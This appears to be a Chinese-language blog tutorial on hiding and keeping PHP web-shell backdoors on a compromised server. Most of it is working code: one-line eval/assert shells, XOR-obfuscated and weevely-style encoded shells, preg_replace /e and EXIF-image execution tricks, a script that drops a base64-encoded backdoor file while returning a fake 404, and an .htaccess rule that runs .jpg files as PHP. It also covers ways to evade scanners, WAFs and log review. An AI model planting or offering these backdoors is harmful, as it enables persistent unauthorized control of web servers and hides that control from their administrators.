PHP后門隱藏與維持技巧
0×00前言
在一個成功的測試后,通常會想讓特權保持的更久些.留后門的工作就顯得至關重要,通常布設的后門包括但不限于數(shù)據(jù)庫權限，WEB權限，系統(tǒng)用戶權限等等.此文則對大眾后門隱藏的一些思路做科普.
以PHP-WEBBACKDOOR為例,拋磚引玉
一個最常見的一句話后門可能寫作這樣
- <?php @eval($_POST['cmd']);?>
或這樣
- <?php @assert($_POST['cmd']);?>
當然,這僅是調用的函數(shù)不同,關于PHP禁用的函數(shù)請在php.ini: disable_functions 中尋找.
但是運維直觀尋找我們shell的方式也有很多,如
◆通過文件名/修改時間/大小,文件備份比對發(fā)現(xiàn)異常
◆通過WEBSHELL后門掃描腳本發(fā)現(xiàn),如Scanbackdoor.php/Pecker/shelldetect.php以及各種掃描器等等
◆通過Access.log訪問日志發(fā)現(xiàn)后門所在
◆又或者,我們的測試一句話還要被WAF攔一下,再來個警告日志,等等
針對常見的檢測方式,總結以下七常用手法對shell進行隱藏
0×01規(guī)避
看看各種掃描后門的代碼就知道,留一個眾人皆知,人人喊打的關鍵詞在shell中是萬萬不能的
常見的關鍵詞如:
◆系統(tǒng)命令執(zhí)行: system, passthru, shell_exec, exec, popen, proc_open
◆代碼執(zhí)行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
◆文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
過去有朋友機智的使用$_POST[0]($_POST[1])來執(zhí)行命令,可惜現(xiàn)在也難逃掃描器法眼,但萬象變化,構造方法是無窮的
tudouya 同學在FREEBUF上給出[一種構造技巧](http://www.freebuf.com/articles/web/33824.html)利用
- <?php
- @$_++; // $_ = 1
- $__=("#"^"|"); // $__ = _
- $__.=("."^"~"); // _P
- $__.=("/"^"`"); // _PO
- $__.=("|"^"/"); // _POS
- $__.=("{"^"/"); // _POST
- ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
- ?>
構造生成,當然,嫌太直觀可以寫作這樣
- <?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
然后再填充些普通代碼進行偽裝,一個簡單的”免殺”shell樣本就出現(xiàn)了
執(zhí)行無誤,且繞過普通掃描器,也可依賴之寫新的臨時shell
#p#
0×02特性
借助語法特性執(zhí)行命令亦不失為有趣的手法.借用php在處理變量時的語法特性,會分析雙引號中的數(shù)據(jù)是否含有變量(并解析其值)
eg.:
- ${@eval(phpinfo())}
{}可解析雙引號內的變量內容，@保持出錯后繼續(xù)執(zhí)行
然后就可以大搖大擺的開始構造隱藏后門了,但此處構造欲再借力于函數(shù)引起的命令執(zhí)行,沒錯,就是preg_replace
- <?php @preg_replace("//e",$_POST['cmd'],"");?>
這玩法顯然已經(jīng)進了掃描器黑名單,簡單修改下
- <?php
- function funfunc($str){}
- echo preg_replace("/<title>(.+?)<\/title>/ies", 'funfunc("\1")', $_POST["cmd"]);
- ?>
執(zhí)行了,沒有被發(fā)現(xiàn)
執(zhí)行的方式顯而易見,正則匹配后的{${phpinfo()}}傳入funfunc時引起了代碼執(zhí)行
- funfunc("{${phpinfo()}}")
另一種方法
- <?php @assert("\$arr=\"".$_GET['cmd']."\";");?>
0×03包含
文件包含是眾人都玩過的方法,只是包含也有技巧
普通文件包含可能僅僅是一個include包含某個txt或jpg,甚至直接留一個包含漏洞,但掃描器也容易發(fā)現(xiàn),多出的包含文件也易被發(fā)現(xiàn)
看此腳本
- <?php
- if(@isset($_GET[content]))
- {
- $fp=fopen('README','w');
- file_put_contents('README',"<?php\r\n");
- @file_put_contents('README',$_GET[content],FILE_APPEND);
- fclose($fp);
- require 'README';}
- ?>
算是解決了一點問題,需求的shell可隨用隨生成,進而包含之
可惜由于file_put_contents等函數(shù)過于敏感,也是很容易被掃描發(fā)現(xiàn)
編碼生成的方式創(chuàng)建shell,隨訪問而生成.
- <?php @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
- ?>
可以逃避一些掃描器,但這個模式也比較引人注目,生成的新文件也要做簡單的隱藏以躲過查殺.
當然對于啟發(fā)式之類的新概念就不考慮了
在這種方式也滿足不了需求的情況下,機智的攻擊者又重拾圖片
- <?php $exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?>
這次不必再簡單的copy /b生成圖片馬了,借用preg_replace執(zhí)行文件的特定標志一樣可行
此處可能會提示 Call to undefined function exif_read_data()
需要修改php.ini, extension=php_exif.dll
將其加載順序改為extension=php_mbstring.dll的后面
可以看出,此圖片后門借助了preg_replace \e參數(shù),依賴了php的變量解析執(zhí)行,又使用了base64編碼,最后依賴文件標識將一個完整的shell拼合,算是給初涉后門隱藏的童鞋一個小提醒
當然,只要有包含點,包含文件的形式是多樣的,甚至于包含error_log(雖然可能要考慮閉合),只有想不到…#p#
0×04隱匿
為了不讓訪問者發(fā)現(xiàn)后門的存在,機智的安全研究員也會混淆視聽故弄玄虛
- <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
- <html><head>
- <title>404 Not Found</title>
- </head>
- <body>
- <h1>Not Found</h1>
- <p>The requested URL was not found on this server.</p>
- </body>
- </html>
- <?php
- @preg_replace("/[checksql]/e",$_POST['cmd'],"saft");
- ?>
借助上面的html渲染后,瀏覽頁面已經(jīng)開始偽裝404以迷惑視聽了
但躲得過訪問者也躲不過日志分析,為更好的隱藏在大量日志中,構造如下腳本
- <?php
- header('HTTP/1.1 404');
- ob_start();
- @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
- ob_end_clean();
- ?>
訪問之,是真正的404,沒錯,日志中也是這樣
但此刻當前目錄已生成我們要連接的腳本
0×05混淆
用過weevely工具的童鞋應該知道,其生成的免殺shell像這樣
- <?php
- $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";
- $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";
- $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");
- $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";
- $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";
- $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");
- $jgfi = $ftdf("l","","lclrlelaltel_functlilon");
- $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
- ?>
終端下連接后像這樣
Ps:截圖忘記修改終端編碼了:(
其免殺方式在于,在固定區(qū)域生成隨機名稱變量,后借助str_replace拼合base64_decode,執(zhí)行命令的過程
當然,這是在代碼層面混淆視聽以躲過掃描器
更常用的混淆視聽的方法:
◆修改文件時間
◆改名融入上傳后所在文件夾，讓人無法直觀看出文件異常
◆文件大小的偽裝處理(至少看起大小像個正常腳本)
◆選好藏身路徑并盡量少的訪問
◆畸形目錄%20
關于空格目錄,還是相對容易被發(fā)現(xiàn)的
0×06解析
利用.htaccess,添加解析后門
如:
- AddType application/x-httpd-php .jpg
以上以weeverly為例
0×07雜糅
總結以上方法,大部分無非是一個構造漏洞的過程,漏洞構造的代碼能有多奇葩,后門就可以多奇葩.可以寫纖細婉約的,也可以搞簡單粗暴的,只是適用場合不同而已.如能很好的融合思路,構造自己的隱藏shell想來亦非難事.以上僅為總結經(jīng)驗之談,各位有有趣的想法還望不吝賜教.
